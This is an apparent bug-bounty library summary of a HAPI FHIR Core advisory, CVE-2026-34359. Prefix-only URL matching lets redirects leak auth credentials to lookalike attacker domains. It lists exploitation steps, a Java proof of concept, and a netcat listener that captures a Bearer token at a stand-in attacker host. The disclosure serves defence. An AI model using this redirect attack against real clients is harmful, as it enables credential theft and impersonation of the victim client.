# HAPI FHIR Core has Authentication Credential Leakage via Improper URL Prefix Matching on HTTP Redirect

HAPI FHIR's startsWith() URL prefix match sends configured Bearer/Basic/API-key credentials to attacker domains like tx.fhir.org.attacker.com on redirect.

- Payout: Research
- Severity: high
- Program: HAPI FHIR Core
- Found by: offset
- Disclosed: 2026-03-30
- CVE: CVE-2026-34359
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-fgv2-4q4g-wc35
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-fgv2-4q4g-wc35
- Tags: area:web domain:web impact:data-leak kind:research platform:ghsa sev:high tech:java technique:chained technique:source-review vuln:info-disclosure vuln:misconfiguration vuln:secrets-leak

**Target:** Java FHIR client HTTP auth provider (ManagedWebAccessUtils / SimpleHTTPClient / OkHttp)
**Root cause:** ManagedWebAccessUtils.getServer() matches request URLs to configured server URLs with String.startsWith() and no host boundary check, so http://tx.fhir.org.attacker.com matches http://tx.fhir.org and receives credentials.
**Steps:**
1. Configure fhir-settings.json with server url `http://tx.fhir.org` and a token.
2. Call `SimpleHTTPClient.get("http://tx.fhir.org/ValueSet/$expand")` which returns a 302 to `http://tx.fhir.org.attacker.com/capture`.
3. On redirect, setHeaders() calls authProvider.canProvideHeaders(redirectUrl) -> getServer() -> startsWith() returns true.
4. getHeaders() returns `Authorization: Bearer secret-bearer-token-12345` sent to attacker host.
5. Attacker captures header via `nc -l -p 80`.
**How found:** Code review of the auth dispatch path: noticed configured server URL lacks trailing slash and getServer() uses startsWith() without host boundary, then traced SimpleHTTPClient redirect loop and OkHttp redirect behavior to confirm headers are re-set per redirect target.
**Exploitation:** Attacker injects a redirect (MITM, compromised CDN, DNS poisoning) from the legitimate terminology server to a domain sharing its prefix; the client follows the redirect and re-dispatches configured auth headers to the attacker, who captures Bearer tokens, Basic creds, API keys, then impersonates the client to the real FHIR server.
**Escalation:** Same startsWith() pattern in ManagedWebAccess.isLocal() lets attacker-prefixed domains be treated as local, bypassing HTTPS enforcement (TLS downgrade).
**Insight:** When auditing credential-dispatch logic, check how configured base URLs are matched against request URLs: startsWith() without a trailing-slash/host-boundary check lets any attacker domain sharing the prefix (e.g. trusted.com.evil.com) receive secrets, especially across redirects where the auth provider is re-invoked on the new URL.

## Proof of concept (copied exactly from the original report)

**Java snippet proving prefix match bypass**

```
String configuredUrl = "http://tx.fhir.org";  // FhirSettingsPOJO.TX_SERVER_PROD
String attackerUrl = "http://tx.fhir.org.attacker.com/capture";

System.out.println(attackerUrl.startsWith(configuredUrl));
// Output: true
```

**fhir-settings.json with token config**

```
{
  "servers": [
    {
      "url": "http://tx.fhir.org",
      "authenticationType": "token",
      "token": "secret-bearer-token-12345"
    }
  ]
}
```

**Netcat listener capturing leaked credential**

```
nc -l -p 80 | head -20
# Output includes:
# GET /capture HTTP/1.1
# Host: tx.fhir.org.attacker.com
# Authorization: Bearer secret-bearer-token-12345
```

